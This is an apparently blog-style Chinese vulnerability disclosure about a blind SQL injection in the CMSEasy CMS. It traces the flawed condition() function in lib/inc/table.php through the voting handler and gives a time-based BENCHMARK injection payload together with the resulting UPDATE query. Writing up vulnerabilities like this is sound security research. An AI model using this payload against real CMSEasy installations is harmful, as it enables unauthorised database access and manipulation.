cmseasy盲注漏洞

出错的是一个通用函数,所以注入不只一处,在这里就用能够相对简单利用的来写。 lib/default/ballot_act.php [php] function index_action() { if (front::post('submit')) { if (!front::post('ballot')) { front::alert(lang('Please_select_vote')); return false; } /* if (config::get('checkip')) { $time=cookie::get('vttime'); if (time() -$time rec_update($data,$where); $this->_table->rec_update($data,$bid); //跟进 0x01 //1 and if(1=1,BENCHMARK(1000000,MD5(1)),null) //UPDATE `cmseasy_ballot` SET num=num+1 WHERE and if(1=1,BENCHMARK(1000000,MD5(1)),null) 延时3秒左右。 //UPDATE `cmseasy_ballot` SET num=num+1 WHERE and if(1=2,BENCHMARK(1000000,MD5(1)),null) cookie::set('vttime',time(),time() +3600 * 24); front::alert(lang('Successful_vote')); } } [/php] lib/inc/table.php 0x01 [php] function rec_update($row,$where) { $tbname=$this->name; $sql=$this->sql_update($tbname,$row,$where); //跟进 //echo $sql."
"; return $this->query_unbuffered($sql) or die(mysql_error()); } function sql_update($tbname,$row,$where) { $sqlud=''; if (is_string($row)) $sqlud=$row.' '; else foreach ($row as $key=>$value) { if (in_array($key,explode(',',$this->getcolslist()))) { $value=$value; if (preg_match('/^\[(.*)\]$/',$value,$match)) $sqlud .= "`$key`"."= ".$match[1].","; elseif ($value === "") $sqlud .= "`$key`= NULL, "; else $sqlud .= "`$key`"."= '".$value."',"; } } $sqlud=rtrim($sqlud); $sqlud=rtrim($sqlud,','); $this->condition($where);//问题处在这儿,跟进 $sql="UPDATE `".$tbname."` SET ".$sqlud." WHERE ".$where; return $sql; } function condition(&$condition) { if (isset($condition) &&is_array($condition)) { //不是数组跳过 $_condition=array(); foreach ($condition as $key=>$value) { $value=str_replace("'","\'",$value); $_condition[]="`$key`='$value'"; } $condition=implode(' and ',$_condition); } else if (is_numeric($condition)) { //不是数字跳过 $this->getFields(); $condition="`$this->primary_key`='$condition'"; }else if(true === $condition){ //错在这儿,程序员本意是如果值为真就把'true'赋值给$condition,这样不是数组又不是数字的就过滤了,但是他用了3个等号,全等,类型也要匹配才会赋值,所以这里跳过了赋值,所以悲剧发生了,只要用到condition这个函数的都会悲剧。 //很多关键的数据库操作都调用了该函数,慢慢找还会有很多注入的。建议改成2个等号修复该函数而不是过滤这个投票的参数。 $condition = 'true'; } if (get_class($this) == 'archive') { if (!front::get('deletestate')) { if ($condition) $condition.=' and (state IS NULL or state<>\'-1\') '; else $condition='state IS NULL or state<>\'-1\' '; } else { if ($condition) $condition.=' and state=\'-1\' '; else $condition=' state=\'-1\' '; } } } [/php] cms1 cms2

发表评论